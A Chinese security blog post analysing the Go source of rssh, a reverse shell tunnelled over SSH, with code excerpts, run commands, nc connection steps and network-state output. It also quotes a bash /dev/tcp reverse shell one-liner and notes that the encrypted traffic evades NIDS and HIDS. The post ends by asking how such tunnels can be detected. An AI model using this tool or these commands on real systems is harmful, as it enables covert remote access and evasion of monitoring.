作者:spoock
来源:https://blog.spoock.com/2019/08/11/rssh/
本文旨在分析rssh的源代码来学习利用ssh隧道来反弹shell.整个rssh只有1个347行的main文件,所以整体的逻辑结构也比较好分析.关于SSH端口转发的知识可以看实战SSH端口转发这篇文章,非常清晰. 使用ssh进行隧道的好处:
1.SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据,同时能够将其他 TCP 端口的网络数据通过 SSH 链接来转发,并且自动提供了相应的加密及解密服务,这样能够避免被NIDS检测到;
2.SSH基本上在每个机器上面存在,不需要额外的条件;
rssh的说明是:
This program is a simple reverse shell over SSH. Essentially, it opens a connection to a remote computer over SSH, starts listening on a port on the remote computer, and when connections are made to that port, starts a command locally and copies data to and from it.
翻译一下就是:rssh是一个利用SSH反弹shell的程序.原理就是通过SSH在远程服务器上监听一个端口,并执行远程服务器发送过来的数据(就相当于是代码执行了)
在本地运行: go run main.go -a ‘127.0.0.1:2222’ -u user -i id_remote_rsa IP.OF.REMOTE.MACHINE 正常运行就会如下的结果:
go run main.go -a '127.0.0.1:2222' -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE
[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)
此时,在服务器上面运行(IP.OF.REMOTE.MACHINE)运行 nc 127.0.0.1 2222 即可得到反弹shell.
服务器端
$ nc -c 127.0.0.1 2222
$ id
uid=1000(spoock) gid=1000(spoock) groups=1000(spoock),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
客户端
$ go run main.go -a '127.0.0.1:2222' -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE
[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)
[ info ] accepted connection from: 127.0.0.1:33016
func init() {
// Global flags
pf := mainCommand.PersistentFlags()
pf.BoolVarP(&flagVerbose, "verbose", "v", false, "be more verbose")
pf.BoolVarP(&flagQuiet, "quiet", "q", false, "be quiet")
pf.BoolVarP(&flagTrace, "trace", "t", false, "be very verbose")
// Local flags
flags := mainCommand.Flags()
flags.StringVarP(&flagSSHUsername, "username", "u", os.Getenv("USER"),
"connect as the given user")
flags.StringVarP(&flagSSHPassword, "password", "p", "",
"use the given password to connect")
flags.StringVarP(&flagSSHIdentityFile, "identity-file", "i", "",
"use the given SSH key to connect to the remote host")
flags.StringVarP(&flagAddr, "address", "a", "localhost:8080",
"address to listen on on the remote host")
flags.StringVarP(&flagCommand, "command", "c", "/bin/sh",
"command to run")
}
func preRun(cmd *cobra.Command, args []string) {
var cl *colog.CoLog
logger, cl = makeLogger()
if flagTrace {
cl.SetMinLevel(colog.LTrace)
} else if flagVerbose {
cl.SetMinLevel(colog.LDebug)
} else if flagQuiet {
cl.SetMinLevel(colog.LWarning)
} else {
cl.SetMinLevel(colog.LInfo)
}
}
在init()函数中主要是对一些参数的解释说明,同时也有对参数的校验的功能.
runMain函数是rssh的主体.我们以go run main.go -a '127.0.0.1:2222' -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE
为例来说明参数的含义
if len(args) != 1 {
log.Printf("error: invalid number of arguments (expected 1, got %d)", len(args))
os.Exit(1)
}
sshHost := args[0]
// Add a default ':22' after the end if we don't have a colon.
if !strings.Contains(sshHost, ":") {
sshHost += ":22"
}
判断远程地址需要存在,默认加上22端口.
// Password auth or prompt callback
if flagSSHPassword != "" {
log.Println("trace: adding password auth")
config.Auth = append(config.Auth, ssh.Password(flagSSHPassword))
} else {
log.Println("trace: adding password callback auth")
config.Auth = append(config.Auth, ssh.PasswordCallback(func() (string, error) {
prompt := fmt.Sprintf("%s@%s's password: ", flagSSHUsername, sshHost)
return speakeasy.Ask(prompt)
}))
}
// Key auth
if flagSSHIdentityFile != "" {
auth, err := loadPrivateKey(flagSSHIdentityFile)
if err != nil {
log.Fatalf("error: could not load identity file '%s': %s",
flagSSHIdentityFile, err)
}
log.Println("trace: adding identity file auth")
config.Auth = append(config.Auth, auth)
}
判断是通过用户名密码还是publickey的方式登录,分别进行不同的初始化的操作,config.Auth = append(config.Auth, ssh.Password(flagSSHPassword))或者是auth, err := loadPrivateKey(flagSSHIdentityFile);config.Auth = append(config.Auth, auth) 一个有意思的地方,如果是这种方式go run main.go -a ‘127.0.0.1:2222’ -u USERNAME IP.OF.REMOTE.MACHINE 参数中没有密码,那么最终就会执行:
log.Println("trace: adding password callback auth")
config.Auth = append(config.Auth, ssh.PasswordCallback(func() (string, error) {
prompt := fmt.Sprintf("%s@%s's password: ", flagSSHUsername, sshHost)
return speakeasy.Ask(prompt)
}))
此时实际的运行效果是:
go run main.go -a '127.0.0.1:2222' -u USERNAME IP.OF.REMOTE.MACHINE -t
[ trace ] adding password callback auth
[ debug ] attempting 2 authentication methods ([0x666500 0x666650])
[email protected]:22's password: [输入远程服务器SSH的密码]
[ info ] listening for connections on IP.OF.REMOTE.MACHINE:22 (remote listen address: 127.0.0.1:2222)
这种方式通过密码登录的方式同样也是可以的.
sshConn, err := ssh.Dial("tcp", sshHost, config)
if err != nil {
log.Fatalf("error: error dialing remote host: %s", err)
}
defer sshConn.Close()
通过ssh.Dial("tcp", sshHost, config)
与远程服务器上面创建ssh链接.此时的网络状态是:
ss -anptw | grep 22
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp ESTAB 0 0 172.16.1.2:60270 IP.OF.REMOTE.MACHINE:22 users:(("main",pid=29114,fd=5))
$ ps -ef | grep 29114
spoock 29114 29034 0 15:46 pts/2 00:00:00 /tmp/go-build970759084/b001/exe/main -a 127.0.0.1:2222 -u USERNAME -p PASSWORD IP.OF.REMOTE.MACHINE -t
与代码的执行情况是一致的.
这个就是rssh中的核心部分.代码如下:
// Listen on remote
l, err := sshConn.Listen("tcp", flagAddr)
if err != nil {
log.Fatalf("error: error listening on remote host: %s", err)
}
其中的flagAddr就是参数中设置的127.0.0.1:2222,这就相当于在ssh的链接中再次监听了本地(此处的本地指的是服务器的地址)的2222端口.
跟着进入到ssh.Listen实现中: vendor/golang.org/x/crypto/ssh/tcpip.go
// Listen requests the remote peer open a listening socket on
// addr. Incoming connections will be available by calling Accept on
// the returned net.Listener. The listener must be serviced, or the
// SSH connection may hang.
func (c *Client) Listen(n, addr string) (net.Listener, error) {
laddr, err := net.ResolveTCPAddr(n, addr)
if err != nil {
return nil, err
}
return c.ListenTCP(laddr)
}
这个函数的注释:Listen()函数创建了一个TCP连接listener,这个listener必须能够被维持,否则ssh连接就会被挂住.
进行跟踪进入ListenTCP, vendor/golang.org/x/crypto/ssh/tcpip.go
// ListenTCP requests the remote peer open a listening socket
// on laddr. Incoming connections will be available by calling
// Accept on the returned net.Listener.
func (c *Client) ListenTCP(laddr *net.TCPAddr) (net.Listener, error) {
if laddr.Port == 0 && isBrokenOpenSSHVersion(string(c.ServerVersion())) {
return c.autoPortListenWorkaround(laddr)
}
m := channelForwardMsg{
laddr.IP.String(),
uint32(laddr.Port),
}
// send message
ok, resp, err := c.SendRequest("tcpip-forward", true, Marshal(&m))
if err != nil {
return nil, err
}
if !ok {
return nil, errors.New("ssh: tcpip-forward request denied by peer")
}
// If the original port was 0, then the remote side will
// supply a real port number in the response.
if laddr.Port == 0 {
var p struct {
Port uint32
}
if err := Unmarshal(resp, &p); err != nil {
return nil, err
}
laddr.Port = int(p.Port)
}
// Register this forward, using the port number we obtained.
ch := c.forwards.add(*laddr)
return &tcpListener{laddr, c, ch}, nil
}
1.合法性校验
if laddr.Port == 0 && isBrokenOpenSSHVersion(string(c.ServerVersion())) {
return c.autoPortListenWorkaround(laddr)
}
func (c *Client) autoPortListenWorkaround(laddr *net.TCPAddr) (net.Listener, error) {
var sshListener net.Listener
var err error
const tries = 10
for i := 0; i < tries; i++ {
addr := *laddr
addr.Port = 1024 + portRandomizer.Intn(60000)
sshListener, err = c.ListenTCP(&addr)
if err == nil {
laddr.Port = addr.Port
return sshListener, err
}
}
return nil, fmt.Errorf("ssh: listen on random port failed after %d tries: %v", tries, err)
}
如果检测到转发的端口或者是openssh的版本存在问题,就会调用autoPortListenWorkaround()函数任意创建一个端口.
2.通过ssh转发端口
m := channelForwardMsg{
laddr.IP.String(),
uint32(laddr.Port),
}
// send message
ok, resp, err := c.SendRequest("tcpip-forward", true, Marshal(&m))
if err != nil {
return nil, err
}
if !ok {
return nil, errors.New("ssh: tcpip-forward request denied by peer")
}
关键代码就是c.SendRequest(“tcpip-forward”, true, Marshal(&m))通过ssh的tcpip-forward转发m(m中有需要转发的端口和协议)
3.返回Listener
// Register this forward, using the port number we obtained.
ch := c.forwards.add(*laddr)
return &tcpListener{laddr, c, ch}, nil
在创建了连接完毕之后,服务器端的网络状态是:
$ ss -anptw | grep 2222
tcp LISTEN 0 128 127.0.0.1:2222 *:*
$ ss -anptw | grep 22
tcp ESTAB 0 0 172.27.0.12:22 222.64.99.149:2279
利用发现此时远程服务器会监听在2222端口上,同时也存在了一条ssh的网络链接.
// Start accepting shell connections
log.Printf("info: listening for connections on %s (remote listen address: %s)", sshHost, flagAddr)
for {
conn, err := l.Accept()
if err != nil {
log.Printf("error: error accepting connection: %s", err)
continue
}
log.Printf("info: accepted connection from: %s", conn.RemoteAddr())
go handleConnection(conn)
}
通过 l, err := sshConn.Listen(“tcp”, flagAddr)得到ssh转发的连接之后,开始进行监听conn, err := l.Accept().对于建立之后的连接使用handleConnection()处理
由于整个handleConnection()的整个函数较长,分部对其中的代码进行分析.
// Create PTY
pty, tty, err := pty.Open()
if err != nil {
log.Printf("error: could not open PTY: %s", err)
return
}
defer tty.Close()
defer pty.Close()
// Put the TTY into raw mode
_, err = terminal.MakeRaw(int(tty.Fd()))
if err != nil {
log.Printf("warn: could not make TTY raw: %s", err)
}
创建一个pty,用于执行从远程服务器上面发送过来的数据.
// Start the command
cmd := exec.Command(flagCommand) //flagCommand:/bin/sh
// Hook everything up
cmd.Stdout = tty
cmd.Stdin = tty
cmd.Stderr = tty
if cmd.SysProcAttr == nil {
cmd.SysProcAttr = &syscall.SysProcAttr{}
}
cmd.SysProcAttr.Setctty = true
cmd.SysProcAttr.Setsid = true
// Start command
err = cmd.Start()
上面这段代码就相当与创建了一个交互式的反弹shell,类似与bash -i >& /dev/tcp/ip/port 0>&1 在客户端创建完毕链接之后,在服务器端运行 nc -c 127.0.0.1 2222,连接到本地的2222端口.此时服务器的网络状态是:
ss -anptw | grep 2222
tcp LISTEN 0 128 127.0.0.1:2222 *:*
tcp ESTAB 0 0 127.0.0.1:59070 127.0.0.1:2222 users:(("nc",pid=13449,fd=3))
tcp ESTAB 0 0 127.0.0.1:2222 127.0.0.1:59070
$ ps -ef | grep 13449
USERNAME 13449 2642 0 17:12 pts/2 00:00:00 nc -c 127.0.0.1 2222
$ ls -al /proc/13449/fd
total 0
dr-x------ 2 USERNAME USERNAME 0 Jun 18 17:12 .
dr-xr-xr-x 9 USERNAME USERNAME 0 Jun 18 17:12 ..
lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 0 -> /dev/pts/2
lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 1 -> /dev/pts/2
lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 2 -> /dev/pts/2
lrwx------ 1 USERNAME USERNAME 64 Jun 18 17:12 3 -> socket:[169479331]
可以发现在服务器端的59070连接了2222端口,进程是13449.由于从客户端接受过来的数据都是经过ssh解密的,所以对于HIDS来说是很难发现异常的. 此时客户端的网络连接状态是:
$ ss -anptw | grep 22
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp ESTAB 0 0 172.16.1.2:41424 40.77.226.250:443 users:(("code",pid=5822,fd=49))
tcp ESTAB 0 0 172.16.1.2:37930 40.77.226.250:443 users:(("code",pid=5822,fd=41))
tcp ESTAB 0 0 172.16.1.2:33198 IP.OF.REMOTE.MACHINE:22 users:(("main",pid=32069,fd=5))
tcp ESTAB 0 0 172.16.1.2:57664 40.77.226.250:443 users:(("code",pid=5822,fd=40))
tcp LISTEN 0 128 [::]:22 [::]:*
$ ps -ef | grep 32393
spoock 32393 32069 0 17:12 pts/4 00:00:00 /bin/sh
$ ls -al /proc/32393/fd
dr-x------ 2 spoock spoock 0 Jun 18 17:15 .
dr-xr-xr-x 9 spoock spoock 0 Jun 18 17:15 ..
lrwx------ 1 spoock spoock 64 Jun 18 17:15 0 -> /dev/pts/4
lrwx------ 1 spoock spoock 64 Jun 18 17:15 1 -> /dev/pts/4
lrwx------ 1 spoock spoock 64 Jun 18 17:15 10 -> /dev/tty
lrwx------ 1 spoock spoock 64 Jun 18 17:15 2 -> /dev/pts/4
$ ls -al /proc/32069/fd
dr-x------ 2 spoock spoock 0 Jun 18 17:01 .
dr-xr-xr-x 9 spoock spoock 0 Jun 18 17:01 ..
lrwx------ 1 spoock spoock 64 Jun 18 17:01 0 -> /dev/pts/2
lrwx------ 1 spoock spoock 64 Jun 18 17:01 1 -> /dev/pts/2
lrwx------ 1 spoock spoock 64 Jun 18 17:01 2 -> /dev/pts/2
lrwx------ 1 spoock spoock 64 Jun 18 17:01 3 -> 'socket:[559692]'
lrwx------ 1 spoock spoock 64 Jun 18 17:01 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 spoock spoock 64 Jun 18 17:01 5 -> 'socket:[559693]'
lrwx------ 1 spoock spoock 64 Jun 18 17:15 6 -> /dev/ptmx
lrwx------ 1 spoock spoock 64 Jun 18 17:15 7 -> /dev/pts/4
客户端的含义就是:在ssh连接进程中派生出了sh进程,在sh进程中执行命令,但是由于执行的命令全部都是通过ssh加密发送的,在流量上是无法看到。
以上就是整个rssh的源代码的分析了。
本文通过对rssh的分析,对ssh的端口转发有了一个清晰的认识,同时对如何利用ssh隧道完成端口转发也有了一定的了解。通过ssh隧道来实现入侵,能够很好地隐藏自己的攻击行为,传统的HIDS和NIDS也很难检测到对应的入侵行为。那么有什么方法能够检测出这种利用ssh隧道的入侵行为呢?如果有任何的想法欢迎大家与我交流。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1022/